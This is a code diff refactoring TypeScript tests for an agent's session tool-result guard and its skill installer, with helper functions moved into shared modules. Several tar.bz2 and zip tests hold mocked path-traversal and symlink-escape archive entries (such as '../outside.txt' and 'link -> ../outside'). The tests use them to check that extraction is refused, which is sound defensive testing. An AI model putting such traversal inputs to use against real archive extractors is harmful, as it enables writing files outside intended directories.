View File

@@ -12,6 +12,38 @@ const toolCallMessage = asAppendMessage({
content: [{ type: "toolCall", id: "call_1", name: "read", arguments: {} }],
});
function appendToolResultText(sm: SessionManager, text: string) {
sm.appendMessage(toolCallMessage);
sm.appendMessage(
asAppendMessage({
role: "toolResult",
toolCallId: "call_1",
toolName: "read",
content: [{ type: "text", text }],
isError: false,
timestamp: Date.now(),
}),
);
}
function getPersistedMessages(sm: SessionManager): AgentMessage[] {
return sm
.getEntries()
.filter((e) => e.type === "message")
.map((e) => (e as { message: AgentMessage }).message);
}
function getToolResultText(messages: AgentMessage[]): string {
const toolResult = messages.find((m) => m.role === "toolResult") as {
content: Array<{ type: string; text: string }>;
};
expect(toolResult).toBeDefined();
const textBlock = toolResult.content.find((b: { type: string }) => b.type === "text") as {
text: string;
};
return textBlock.text;
}
describe("installSessionToolResultGuard", () => {
it("inserts synthetic toolResult before non-tool message when pending", () => {
const sm = SessionManager.inMemory();
@@ -211,32 +243,11 @@ describe("installSessionToolResultGuard", () => {
const sm = SessionManager.inMemory();
installSessionToolResultGuard(sm);
sm.appendMessage(toolCallMessage);
sm.appendMessage(
asAppendMessage({
role: "toolResult",
toolCallId: "call_1",
toolName: "read",
content: [{ type: "text", text: "x".repeat(500_000) }],
isError: false,
timestamp: Date.now(),
}),
);
appendToolResultText(sm, "x".repeat(500_000));
const entries = sm
.getEntries()
.filter((e) => e.type === "message")
.map((e) => (e as { message: AgentMessage }).message);
const toolResult = entries.find((m) => m.role === "toolResult") as {
content: Array<{ type: string; text: string }>;
};
expect(toolResult).toBeDefined();
const textBlock = toolResult.content.find((b: { type: string }) => b.type === "text") as {
text: string;
};
expect(textBlock.text.length).toBeLessThan(500_000);
expect(textBlock.text).toContain("truncated");
const text = getToolResultText(getPersistedMessages(sm));
expect(text.length).toBeLessThan(500_000);
expect(text).toContain("truncated");
});
it("does not truncate tool results under the limit", () => {
@@ -244,30 +255,10 @@ describe("installSessionToolResultGuard", () => {
installSessionToolResultGuard(sm);
const originalText = "small tool result";
sm.appendMessage(toolCallMessage);
sm.appendMessage(
asAppendMessage({
role: "toolResult",
toolCallId: "call_1",
toolName: "read",
content: [{ type: "text", text: originalText }],
isError: false,
timestamp: Date.now(),
}),
);
appendToolResultText(sm, originalText);
const entries = sm
.getEntries()
.filter((e) => e.type === "message")
.map((e) => (e as { message: AgentMessage }).message);
const toolResult = entries.find((m) => m.role === "toolResult") as {
content: Array<{ type: string; text: string }>;
};
const textBlock = toolResult.content.find((b: { type: string }) => b.type === "text") as {
text: string;
};
expect(textBlock.text).toBe(originalText);
const text = getToolResultText(getPersistedMessages(sm));
expect(text).toBe(originalText);
});
it("applies message persistence transform to user messages", () => {

View File

@@ -33,6 +33,32 @@ function writeTempPlugin(params: { dir: string; id: string; body: string }): str
return file;
}
function appendToolCallAndResult(sm: ReturnType<typeof SessionManager.inMemory>) {
sm.appendMessage({
role: "assistant",
content: [{ type: "toolCall", id: "call_1", name: "read", arguments: {} }],
} as AgentMessage);
sm.appendMessage({
role: "toolResult",
toolCallId: "call_1",
isError: false,
content: [{ type: "text", text: "ok" }],
details: { big: "x".repeat(10_000) },
// oxlint-disable-next-line typescript/no-explicit-any
} as any);
}
function getPersistedToolResult(sm: ReturnType<typeof SessionManager.inMemory>) {
const messages = sm
.getEntries()
.filter((e) => e.type === "message")
.map((e) => (e as { message: AgentMessage }).message);
// oxlint-disable-next-line typescript/no-explicit-any
return messages.find((m) => (m as any).role === "toolResult") as any;
}
afterEach(() => {
resetGlobalHookRunner();
});
@@ -43,28 +69,8 @@ describe("tool_result_persist hook", () => {
agentId: "main",
sessionKey: "main",
});
sm.appendMessage({
role: "assistant",
content: [{ type: "toolCall", id: "call_1", name: "read", arguments: {} }],
} as AgentMessage);
sm.appendMessage({
role: "toolResult",
toolCallId: "call_1",
isError: false,
content: [{ type: "text", text: "ok" }],
details: { big: "x".repeat(10_000) },
// oxlint-disable-next-line typescript/no-explicit-any
} as any);
const messages = sm
.getEntries()
.filter((e) => e.type === "message")
.map((e) => (e as { message: AgentMessage }).message);
// oxlint-disable-next-line typescript/no-explicit-any
const toolResult = messages.find((m) => (m as any).role === "toolResult") as any;
appendToolCallAndResult(sm);
const toolResult = getPersistedToolResult(sm);
expect(toolResult).toBeTruthy();
expect(toolResult.details).toBeTruthy();
});
@@ -114,29 +120,8 @@ describe("tool_result_persist hook", () => {
sessionKey: "main",
});
// Tool call (so the guard can infer tool name -> id mapping).
sm.appendMessage({
role: "assistant",
content: [{ type: "toolCall", id: "call_1", name: "read", arguments: {} }],
} as AgentMessage);
// Tool result containing a large-ish details payload.
sm.appendMessage({
role: "toolResult",
toolCallId: "call_1",
isError: false,
content: [{ type: "text", text: "ok" }],
details: { big: "x".repeat(10_000) },
// oxlint-disable-next-line typescript/no-explicit-any
} as any);
const messages = sm
.getEntries()
.filter((e) => e.type === "message")
.map((e) => (e as { message: AgentMessage }).message);
// oxlint-disable-next-line typescript/no-explicit-any
const toolResult = messages.find((m) => (m as any).role === "toolResult") as any;
appendToolCallAndResult(sm);
const toolResult = getPersistedToolResult(sm);
expect(toolResult).toBeTruthy();
// Hook registration should not break baseline persistence semantics.

View File

@@ -1,28 +1,10 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const callGatewayMock = vi.fn();
vi.mock("../gateway/call.js", () => ({
callGateway: (opts: unknown) => callGatewayMock(opts),
}));
let configOverride: ReturnType<(typeof import("../config/config.js"))["loadConfig"]> = {
session: {
mainKey: "main",
scope: "per-sender",
},
};
vi.mock("../config/config.js", async (importOriginal) => {
const actual = await importOriginal<typeof import("../config/config.js")>();
return {
...actual,
loadConfig: () => configOverride,
resolveGatewayPort: () => 18789,
};
});
import "./test-helpers/fast-core-tools.js";
import { beforeEach, describe, expect, it } from "vitest";
import { createOpenClawTools } from "./openclaw-tools.js";
import "./test-helpers/fast-core-tools.js";
import {
callGatewayMock,
setSubagentsConfigOverride,
} from "./openclaw-tools.subagents.test-harness.js";
import {
listSubagentRunsForRequester,
resetSubagentRegistryForTests,
@@ -32,12 +14,12 @@ describe("sessions_spawn requesterOrigin threading", () => {
beforeEach(() => {
resetSubagentRegistryForTests();
callGatewayMock.mockReset();
configOverride = {
setSubagentsConfigOverride({
session: {
mainKey: "main",
scope: "per-sender",
},
};
});
callGatewayMock.mockImplementation(async (opts: unknown) => {
const req = opts as { method?: string };

View File

@@ -10,6 +10,7 @@ import { fetchWithSsrFGuard } from "../infra/net/fetch-guard.js";
import { isWithinDir, resolveSafeBaseDir } from "../infra/path-safety.js";
import { runCommandWithTimeout } from "../process/exec.js";
import { ensureDir, resolveUserPath } from "../utils.js";
import { formatInstallFailureMessage } from "./skills-install-output.js";
import { hasBinary } from "./skills.js";
import { resolveSkillToolsRootDir } from "./skills/tools-dir.js";
@@ -17,45 +18,6 @@ function isNodeReadableStream(value: unknown): value is NodeJS.ReadableStream {
return Boolean(value && typeof (value as NodeJS.ReadableStream).pipe === "function");
}
function summarizeInstallOutput(text: string): string | undefined {
const raw = text.trim();
if (!raw) {
return undefined;
}
const lines = raw
.split("\n")
.map((line) => line.trim())
.filter(Boolean);
if (lines.length === 0) {
return undefined;
}
const preferred =
lines.find((line) => /^error\b/i.test(line)) ??
lines.find((line) => /\b(err!|error:|failed)\b/i.test(line)) ??
lines.at(-1);
if (!preferred) {
return undefined;
}
const normalized = preferred.replace(/\s+/g, " ").trim();
const maxLen = 200;
return normalized.length > maxLen ? `${normalized.slice(0, maxLen - 1)}` : normalized;
}
function formatInstallFailureMessage(result: {
code: number | null;
stdout: string;
stderr: string;
}): string {
const code = typeof result.code === "number" ? `exit ${result.code}` : "unknown exit";
const summary = summarizeInstallOutput(result.stderr) ?? summarizeInstallOutput(result.stdout);
if (!summary) {
return `Install failed (${code})`;
}
return `Install failed (${code}): ${summary}`;
}
function isWindowsDrivePath(p: string): boolean {
return /^[a-zA-Z]:[\\/]/.test(p);
}

View File

@@ -0,0 +1,40 @@
export type InstallCommandResult = {
code: number | null;
stdout: string;
stderr: string;
};
function summarizeInstallOutput(text: string): string | undefined {
const raw = text.trim();
if (!raw) {
return undefined;
}
const lines = raw
.split("\n")
.map((line) => line.trim())
.filter(Boolean);
if (lines.length === 0) {
return undefined;
}
const preferred =
lines.find((line) => /^error\b/i.test(line)) ??
lines.find((line) => /\b(err!|error:|failed)\b/i.test(line)) ??
lines.at(-1);
if (!preferred) {
return undefined;
}
const normalized = preferred.replace(/\s+/g, " ").trim();
const maxLen = 200;
return normalized.length > maxLen ? `${normalized.slice(0, maxLen - 1)}` : normalized;
}
export function formatInstallFailureMessage(result: InstallCommandResult): string {
const code = typeof result.code === "number" ? `exit ${result.code}` : "unknown exit";
const summary = summarizeInstallOutput(result.stderr) ?? summarizeInstallOutput(result.stdout);
if (!summary) {
return `Install failed (${code})`;
}
return `Install failed (${code}): ${summary}`;
}

View File

@@ -2,91 +2,125 @@ import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { setTempStateDir, writeDownloadSkill } from "./skills-install.download-test-utils.js";
import { installSkill } from "./skills-install.js";
const runCommandWithTimeoutMock = vi.fn();
const scanDirectoryWithSummaryMock = vi.fn();
const fetchWithSsrFGuardMock = vi.fn();
const mocks = {
runCommand: vi.fn(),
scanSummary: vi.fn(),
fetchGuard: vi.fn(),
};
const originalOpenClawStateDir = process.env.OPENCLAW_STATE_DIR;
function mockDownloadResponse() {
mocks.fetchGuard.mockResolvedValue({
response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }),
release: async () => undefined,
});
}
function runCommandResult(params?: Partial<Record<"code" | "stdout" | "stderr", string | number>>) {
return {
code: 0,
stdout: "",
stderr: "",
signal: null,
killed: false,
...params,
};
}
function mockTarExtractionFlow(params: {
listOutput: string;
verboseListOutput: string;
extract: "ok" | "reject";
}) {
mocks.runCommand.mockImplementation(async (argv: unknown[]) => {
const cmd = argv as string[];
if (cmd[0] === "tar" && cmd[1] === "tf") {
return runCommandResult({ stdout: params.listOutput });
}
if (cmd[0] === "tar" && cmd[1] === "tvf") {
return runCommandResult({ stdout: params.verboseListOutput });
}
if (cmd[0] === "tar" && cmd[1] === "xf") {
if (params.extract === "reject") {
throw new Error("should not extract");
}
return runCommandResult({ stdout: "ok" });
}
return runCommandResult();
});
}
async function withTempWorkspace(
run: (params: { workspaceDir: string; stateDir: string }) => Promise<void>,
) {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
try {
const stateDir = setTempStateDir(workspaceDir);
await run({ workspaceDir, stateDir });
} finally {
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
}
}
async function writeTarBz2Skill(params: {
workspaceDir: string;
stateDir: string;
name: string;
url: string;
stripComponents?: number;
}) {
const targetDir = path.join(params.stateDir, "tools", params.name, "target");
await writeDownloadSkill({
workspaceDir: params.workspaceDir,
name: params.name,
installId: "dl",
url: params.url,
archive: "tar.bz2",
...(typeof params.stripComponents === "number"
? { stripComponents: params.stripComponents }
: {}),
targetDir,
});
}
function restoreOpenClawStateDir(originalValue: string | undefined): void {
if (originalValue === undefined) {
delete process.env.OPENCLAW_STATE_DIR;
return;
}
process.env.OPENCLAW_STATE_DIR = originalValue;
}
const originalStateDir = process.env.OPENCLAW_STATE_DIR;
afterEach(() => {
if (originalOpenClawStateDir === undefined) {
delete process.env.OPENCLAW_STATE_DIR;
} else {
process.env.OPENCLAW_STATE_DIR = originalOpenClawStateDir;
}
restoreOpenClawStateDir(originalStateDir);
});
vi.mock("../process/exec.js", () => ({
runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args),
runCommandWithTimeout: (...args: unknown[]) => mocks.runCommand(...args),
}));
vi.mock("../infra/net/fetch-guard.js", () => ({
fetchWithSsrFGuard: (...args: unknown[]) => fetchWithSsrFGuardMock(...args),
fetchWithSsrFGuard: (...args: unknown[]) => mocks.fetchGuard(...args),
}));
vi.mock("../security/skill-scanner.js", async (importOriginal) => {
const actual = await importOriginal<typeof import("../security/skill-scanner.js")>();
return {
...actual,
scanDirectoryWithSummary: (...args: unknown[]) => scanDirectoryWithSummaryMock(...args),
scanDirectoryWithSummary: (...args: unknown[]) => mocks.scanSummary(...args),
};
});
async function writeDownloadSkill(params: {
workspaceDir: string;
name: string;
installId: string;
url: string;
stripComponents?: number;
targetDir: string;
}): Promise<string> {
const skillDir = path.join(params.workspaceDir, "skills", params.name);
await fs.mkdir(skillDir, { recursive: true });
const meta = {
openclaw: {
install: [
{
id: params.installId,
kind: "download",
url: params.url,
archive: "tar.bz2",
extract: true,
stripComponents: params.stripComponents,
targetDir: params.targetDir,
},
],
},
};
await fs.writeFile(
path.join(skillDir, "SKILL.md"),
`---
name: ${params.name}
description: test skill
metadata: ${JSON.stringify(meta)}
---
# ${params.name}
`,
"utf-8",
);
await fs.writeFile(path.join(skillDir, "runner.js"), "export {};\n", "utf-8");
return skillDir;
}
function setTempStateDir(workspaceDir: string): string {
const stateDir = path.join(workspaceDir, "state");
process.env.OPENCLAW_STATE_DIR = stateDir;
return stateDir;
}
describe("installSkill download extraction safety (tar.bz2)", () => {
beforeEach(() => {
runCommandWithTimeoutMock.mockReset();
scanDirectoryWithSummaryMock.mockReset();
fetchWithSsrFGuardMock.mockReset();
scanDirectoryWithSummaryMock.mockResolvedValue({
mocks.runCommand.mockReset();
mocks.scanSummary.mockReset();
mocks.fetchGuard.mockReset();
mocks.scanSummary.mockResolvedValue({
scannedFiles: 0,
critical: 0,
warn: 0,
@@ -96,99 +130,47 @@ describe("installSkill download extraction safety (tar.bz2)", () => {
});
it("rejects tar.bz2 traversal before extraction", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
try {
const stateDir = setTempStateDir(workspaceDir);
const targetDir = path.join(stateDir, "tools", "tbz2-slip", "target");
await withTempWorkspace(async ({ workspaceDir, stateDir }) => {
const url = "https://example.invalid/evil.tbz2";
fetchWithSsrFGuardMock.mockResolvedValue({
response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }),
release: async () => undefined,
mockDownloadResponse();
mockTarExtractionFlow({
listOutput: "../outside.txt\n",
verboseListOutput: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 ../outside.txt\n",
extract: "reject",
});
runCommandWithTimeoutMock.mockImplementation(async (argv: unknown[]) => {
const cmd = argv as string[];
if (cmd[0] === "tar" && cmd[1] === "tf") {
return { code: 0, stdout: "../outside.txt\n", stderr: "", signal: null, killed: false };
}
if (cmd[0] === "tar" && cmd[1] === "tvf") {
return {
code: 0,
stdout: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 ../outside.txt\n",
stderr: "",
signal: null,
killed: false,
};
}
if (cmd[0] === "tar" && cmd[1] === "xf") {
throw new Error("should not extract");
}
return { code: 0, stdout: "", stderr: "", signal: null, killed: false };
});
await writeDownloadSkill({
await writeTarBz2Skill({
workspaceDir,
stateDir,
name: "tbz2-slip",
installId: "dl",
url,
targetDir,
});
const result = await installSkill({ workspaceDir, skillName: "tbz2-slip", installId: "dl" });
expect(result.ok).toBe(false);
expect(
runCommandWithTimeoutMock.mock.calls.some((call) => (call[0] as string[])[1] === "xf"),
).toBe(false);
} finally {
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
}
expect(mocks.runCommand.mock.calls.some((call) => (call[0] as string[])[1] === "xf")).toBe(
false,
);
});
});
it("rejects tar.bz2 archives containing symlinks", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
try {
const stateDir = setTempStateDir(workspaceDir);
const targetDir = path.join(stateDir, "tools", "tbz2-symlink", "target");
await withTempWorkspace(async ({ workspaceDir, stateDir }) => {
const url = "https://example.invalid/evil.tbz2";
fetchWithSsrFGuardMock.mockResolvedValue({
response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }),
release: async () => undefined,
mockDownloadResponse();
mockTarExtractionFlow({
listOutput: "link\nlink/pwned.txt\n",
verboseListOutput: "lrwxr-xr-x 0 0 0 0 Jan 1 00:00 link -> ../outside\n",
extract: "reject",
});
runCommandWithTimeoutMock.mockImplementation(async (argv: unknown[]) => {
const cmd = argv as string[];
if (cmd[0] === "tar" && cmd[1] === "tf") {
return {
code: 0,
stdout: "link\nlink/pwned.txt\n",
stderr: "",
signal: null,
killed: false,
};
}
if (cmd[0] === "tar" && cmd[1] === "tvf") {
return {
code: 0,
stdout: "lrwxr-xr-x 0 0 0 0 Jan 1 00:00 link -> ../outside\n",
stderr: "",
signal: null,
killed: false,
};
}
if (cmd[0] === "tar" && cmd[1] === "xf") {
throw new Error("should not extract");
}
return { code: 0, stdout: "", stderr: "", signal: null, killed: false };
});
await writeDownloadSkill({
await writeTarBz2Skill({
workspaceDir,
stateDir,
name: "tbz2-symlink",
installId: "dl",
url,
targetDir,
});
const result = await installSkill({
@@ -198,107 +180,53 @@ describe("installSkill download extraction safety (tar.bz2)", () => {
});
expect(result.ok).toBe(false);
expect(result.stderr.toLowerCase()).toContain("link");
} finally {
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
}
});
});
it("extracts tar.bz2 with stripComponents safely (preflight only)", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
try {
const stateDir = setTempStateDir(workspaceDir);
const targetDir = path.join(stateDir, "tools", "tbz2-ok", "target");
await withTempWorkspace(async ({ workspaceDir, stateDir }) => {
const url = "https://example.invalid/good.tbz2";
fetchWithSsrFGuardMock.mockResolvedValue({
response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }),
release: async () => undefined,
mockDownloadResponse();
mockTarExtractionFlow({
listOutput: "package/hello.txt\n",
verboseListOutput: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 package/hello.txt\n",
extract: "ok",
});
runCommandWithTimeoutMock.mockImplementation(async (argv: unknown[]) => {
const cmd = argv as string[];
if (cmd[0] === "tar" && cmd[1] === "tf") {
return {
code: 0,
stdout: "package/hello.txt\n",
stderr: "",
signal: null,
killed: false,
};
}
if (cmd[0] === "tar" && cmd[1] === "tvf") {
return {
code: 0,
stdout: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 package/hello.txt\n",
stderr: "",
signal: null,
killed: false,
};
}
if (cmd[0] === "tar" && cmd[1] === "xf") {
return { code: 0, stdout: "ok", stderr: "", signal: null, killed: false };
}
return { code: 0, stdout: "", stderr: "", signal: null, killed: false };
});
await writeDownloadSkill({
await writeTarBz2Skill({
workspaceDir,
stateDir,
name: "tbz2-ok",
installId: "dl",
url,
stripComponents: 1,
targetDir,
});
const result = await installSkill({ workspaceDir, skillName: "tbz2-ok", installId: "dl" });
expect(result.ok).toBe(true);
expect(
runCommandWithTimeoutMock.mock.calls.some((call) => (call[0] as string[])[1] === "xf"),
).toBe(true);
} finally {
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
}
expect(mocks.runCommand.mock.calls.some((call) => (call[0] as string[])[1] === "xf")).toBe(
true,
);
});
});
it("rejects tar.bz2 stripComponents escape", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
try {
const stateDir = setTempStateDir(workspaceDir);
const targetDir = path.join(stateDir, "tools", "tbz2-strip-escape", "target");
await withTempWorkspace(async ({ workspaceDir, stateDir }) => {
const url = "https://example.invalid/evil.tbz2";
fetchWithSsrFGuardMock.mockResolvedValue({
response: new Response(new Uint8Array([1, 2, 3]), { status: 200 }),
release: async () => undefined,
mockDownloadResponse();
mockTarExtractionFlow({
listOutput: "a/../b.txt\n",
verboseListOutput: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 a/../b.txt\n",
extract: "reject",
});
runCommandWithTimeoutMock.mockImplementation(async (argv: unknown[]) => {
const cmd = argv as string[];
if (cmd[0] === "tar" && cmd[1] === "tf") {
return { code: 0, stdout: "a/../b.txt\n", stderr: "", signal: null, killed: false };
}
if (cmd[0] === "tar" && cmd[1] === "tvf") {
return {
code: 0,
stdout: "-rw-r--r-- 0 0 0 0 Jan 1 00:00 a/../b.txt\n",
stderr: "",
signal: null,
killed: false,
};
}
if (cmd[0] === "tar" && cmd[1] === "xf") {
throw new Error("should not extract");
}
return { code: 0, stdout: "", stderr: "", signal: null, killed: false };
});
await writeDownloadSkill({
await writeTarBz2Skill({
workspaceDir,
stateDir,
name: "tbz2-strip-escape",
installId: "dl",
url,
stripComponents: 1,
targetDir,
});
const result = await installSkill({
@@ -307,11 +235,9 @@ describe("installSkill download extraction safety (tar.bz2)", () => {
installId: "dl",
});
expect(result.ok).toBe(false);
expect(
runCommandWithTimeoutMock.mock.calls.some((call) => (call[0] as string[])[1] === "xf"),
).toBe(false);
} finally {
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
}
expect(mocks.runCommand.mock.calls.some((call) => (call[0] as string[])[1] === "xf")).toBe(
false,
);
});
});
});

View File

@@ -0,0 +1,50 @@
import fs from "node:fs/promises";
import path from "node:path";
export function setTempStateDir(workspaceDir: string): string {
const stateDir = path.join(workspaceDir, "state");
process.env.OPENCLAW_STATE_DIR = stateDir;
return stateDir;
}
export async function writeDownloadSkill(params: {
workspaceDir: string;
name: string;
installId: string;
url: string;
archive: "tar.gz" | "tar.bz2" | "zip";
stripComponents?: number;
targetDir: string;
}): Promise<string> {
const skillDir = path.join(params.workspaceDir, "skills", params.name);
await fs.mkdir(skillDir, { recursive: true });
const meta = {
openclaw: {
install: [
{
id: params.installId,
kind: "download",
url: params.url,
archive: params.archive,
extract: true,
stripComponents: params.stripComponents,
targetDir: params.targetDir,
},
],
},
};
await fs.writeFile(
path.join(skillDir, "SKILL.md"),
`---
name: ${params.name}
description: test skill
metadata: ${JSON.stringify(meta)}
---
# ${params.name}
`,
"utf-8",
);
await fs.writeFile(path.join(skillDir, "runner.js"), "export {};\n", "utf-8");
return skillDir;
}

View File

@@ -4,6 +4,7 @@ import os from "node:os";
import path from "node:path";
import * as tar from "tar";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { setTempStateDir, writeDownloadSkill } from "./skills-install.download-test-utils.js";
import { installSkill } from "./skills-install.js";
const runCommandWithTimeoutMock = vi.fn();
@@ -36,48 +37,6 @@ vi.mock("../security/skill-scanner.js", async (importOriginal) => {
};
});
async function writeDownloadSkill(params: {
workspaceDir: string;
name: string;
installId: string;
url: string;
archive: "tar.gz" | "tar.bz2" | "zip";
stripComponents?: number;
targetDir: string;
}): Promise<string> {
const skillDir = path.join(params.workspaceDir, "skills", params.name);
await fs.mkdir(skillDir, { recursive: true });
const meta = {
openclaw: {
install: [
{
id: params.installId,
kind: "download",
url: params.url,
archive: params.archive,
extract: true,
stripComponents: params.stripComponents,
targetDir: params.targetDir,
},
],
},
};
await fs.writeFile(
path.join(skillDir, "SKILL.md"),
`---
name: ${params.name}
description: test skill
metadata: ${JSON.stringify(meta)}
---
# ${params.name}
`,
"utf-8",
);
await fs.writeFile(path.join(skillDir, "runner.js"), "export {};\n", "utf-8");
return skillDir;
}
async function fileExists(filePath: string): Promise<boolean> {
try {
await fs.stat(filePath);
@@ -87,10 +46,37 @@ async function fileExists(filePath: string): Promise<boolean> {
}
}
function setTempStateDir(workspaceDir: string): string {
const stateDir = path.join(workspaceDir, "state");
process.env.OPENCLAW_STATE_DIR = stateDir;
return stateDir;
async function seedZipDownloadResponse() {
const zip = new JSZip();
zip.file("hello.txt", "hi");
const buffer = await zip.generateAsync({ type: "nodebuffer" });
fetchWithSsrFGuardMock.mockResolvedValue({
response: new Response(buffer, { status: 200 }),
release: async () => undefined,
});
}
async function installZipDownloadSkill(params: {
workspaceDir: string;
name: string;
targetDir: string;
}) {
const url = "https://example.invalid/good.zip";
await seedZipDownloadResponse();
await writeDownloadSkill({
workspaceDir: params.workspaceDir,
name: params.name,
installId: "dl",
url,
archive: "zip",
targetDir: params.targetDir,
});
return installSkill({
workspaceDir: params.workspaceDir,
skillName: params.name,
installId: "dl",
});
}
describe("installSkill download extraction safety", () => {
@@ -261,30 +247,11 @@ describe("installSkill download extraction safety", () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
try {
const stateDir = setTempStateDir(workspaceDir);
const url = "https://example.invalid/good.zip";
const zip = new JSZip();
zip.file("hello.txt", "hi");
const buffer = await zip.generateAsync({ type: "nodebuffer" });
fetchWithSsrFGuardMock.mockResolvedValue({
response: new Response(buffer, { status: 200 }),
release: async () => undefined,
});
await writeDownloadSkill({
const result = await installZipDownloadSkill({
workspaceDir,
name: "relative-targetdir",
installId: "dl",
url,
archive: "zip",
targetDir: "runtime",
});
const result = await installSkill({
workspaceDir,
skillName: "relative-targetdir",
installId: "dl",
});
expect(result.ok).toBe(true);
expect(
await fs.readFile(
@@ -301,30 +268,11 @@ describe("installSkill download extraction safety", () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
try {
setTempStateDir(workspaceDir);
const url = "https://example.invalid/good.zip";
const zip = new JSZip();
zip.file("hello.txt", "hi");
const buffer = await zip.generateAsync({ type: "nodebuffer" });
fetchWithSsrFGuardMock.mockResolvedValue({
response: new Response(buffer, { status: 200 }),
release: async () => undefined,
});
await writeDownloadSkill({
const result = await installZipDownloadSkill({
workspaceDir,
name: "relative-traversal",
installId: "dl",
url,
archive: "zip",
targetDir: "../outside",
});
const result = await installSkill({
workspaceDir,
skillName: "relative-traversal",
installId: "dl",
});
expect(result.ok).toBe(false);
expect(result.stderr).toContain("Refusing to install outside the skill tools directory");
expect(fetchWithSsrFGuardMock.mock.calls.length).toBe(0);

View File

@@ -6,6 +6,7 @@ import { runCommandWithTimeout, type CommandOptions } from "../process/exec.js";
import { scanDirectoryWithSummary } from "../security/skill-scanner.js";
import { resolveUserPath } from "../utils.js";
import { installDownloadSpec } from "./skills-install-download.js";
import { formatInstallFailureMessage } from "./skills-install-output.js";
import {
hasBinary,
loadWorkspaceSkillEntries,
@@ -32,45 +33,6 @@ export type SkillInstallResult = {
warnings?: string[];
};
function summarizeInstallOutput(text: string): string | undefined {
const raw = text.trim();
if (!raw) {
return undefined;
}
const lines = raw
.split("\n")
.map((line) => line.trim())
.filter(Boolean);
if (lines.length === 0) {
return undefined;
}
const preferred =
lines.find((line) => /^error\b/i.test(line)) ??
lines.find((line) => /\b(err!|error:|failed)\b/i.test(line)) ??
lines.at(-1);
if (!preferred) {
return undefined;
}
const normalized = preferred.replace(/\s+/g, " ").trim();
const maxLen = 200;
return normalized.length > maxLen ? `${normalized.slice(0, maxLen - 1)}` : normalized;
}
function formatInstallFailureMessage(result: {
code: number | null;
stdout: string;
stderr: string;
}): string {
const code = typeof result.code === "number" ? `exit ${result.code}` : "unknown exit";
const summary = summarizeInstallOutput(result.stderr) ?? summarizeInstallOutput(result.stdout);
if (!summary) {
return `Install failed (${code})`;
}
return `Install failed (${code}): ${summary}`;
}
function withWarnings(result: SkillInstallResult, warnings: string[]): SkillInstallResult {
if (warnings.length === 0) {
return result;

View File

@@ -25,6 +25,22 @@ ${body ?? `# ${name}\n`}
);
}
function buildSkillsPrompt(workspaceDir: string, managedDir: string, bundledDir: string): string {
return buildWorkspaceSkillsPrompt(workspaceDir, {
managedSkillsDir: managedDir,
bundledSkillsDir: bundledDir,
});
}
async function createWorkspaceSkillDirs() {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-"));
return {
workspaceDir,
managedDir: path.join(workspaceDir, ".managed"),
bundledDir: path.join(workspaceDir, ".bundled"),
};
}
describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
let fakeHome: string;
@@ -38,9 +54,7 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
});
it("loads project .agents/skills/ above managed and below workspace", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-"));
const managedDir = path.join(workspaceDir, ".managed");
const bundledDir = path.join(workspaceDir, ".bundled");
const { workspaceDir, managedDir, bundledDir } = await createWorkspaceSkillDirs();
await writeSkill({
dir: path.join(managedDir, "shared-skill"),
@@ -54,10 +68,7 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
});
// project .agents/skills/ wins over managed
const prompt1 = buildWorkspaceSkillsPrompt(workspaceDir, {
managedSkillsDir: managedDir,
bundledSkillsDir: bundledDir,
});
const prompt1 = buildSkillsPrompt(workspaceDir, managedDir, bundledDir);
expect(prompt1).toContain("Project agents version");
expect(prompt1).not.toContain("Managed version");
@@ -68,18 +79,13 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
description: "Workspace version",
});
const prompt2 = buildWorkspaceSkillsPrompt(workspaceDir, {
managedSkillsDir: managedDir,
bundledSkillsDir: bundledDir,
});
const prompt2 = buildSkillsPrompt(workspaceDir, managedDir, bundledDir);
expect(prompt2).toContain("Workspace version");
expect(prompt2).not.toContain("Project agents version");
});
it("loads personal ~/.agents/skills/ above managed and below project .agents/skills/", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-"));
const managedDir = path.join(workspaceDir, ".managed");
const bundledDir = path.join(workspaceDir, ".bundled");
const { workspaceDir, managedDir, bundledDir } = await createWorkspaceSkillDirs();
await writeSkill({
dir: path.join(managedDir, "shared-skill"),
@@ -93,10 +99,7 @@ describe("buildWorkspaceSkillsPrompt — .agents/skills/ directories", () => {
});
// personal wins over managed
const prompt1 = buildWorkspaceSkillsPrompt(workspaceDir, {
managedSkillsDir: managedDir,
bundledSkillsDir: bundledDir,
});
const prompt1 = buildSkillsPrompt(workspaceDir, managedDir, bundledDir);
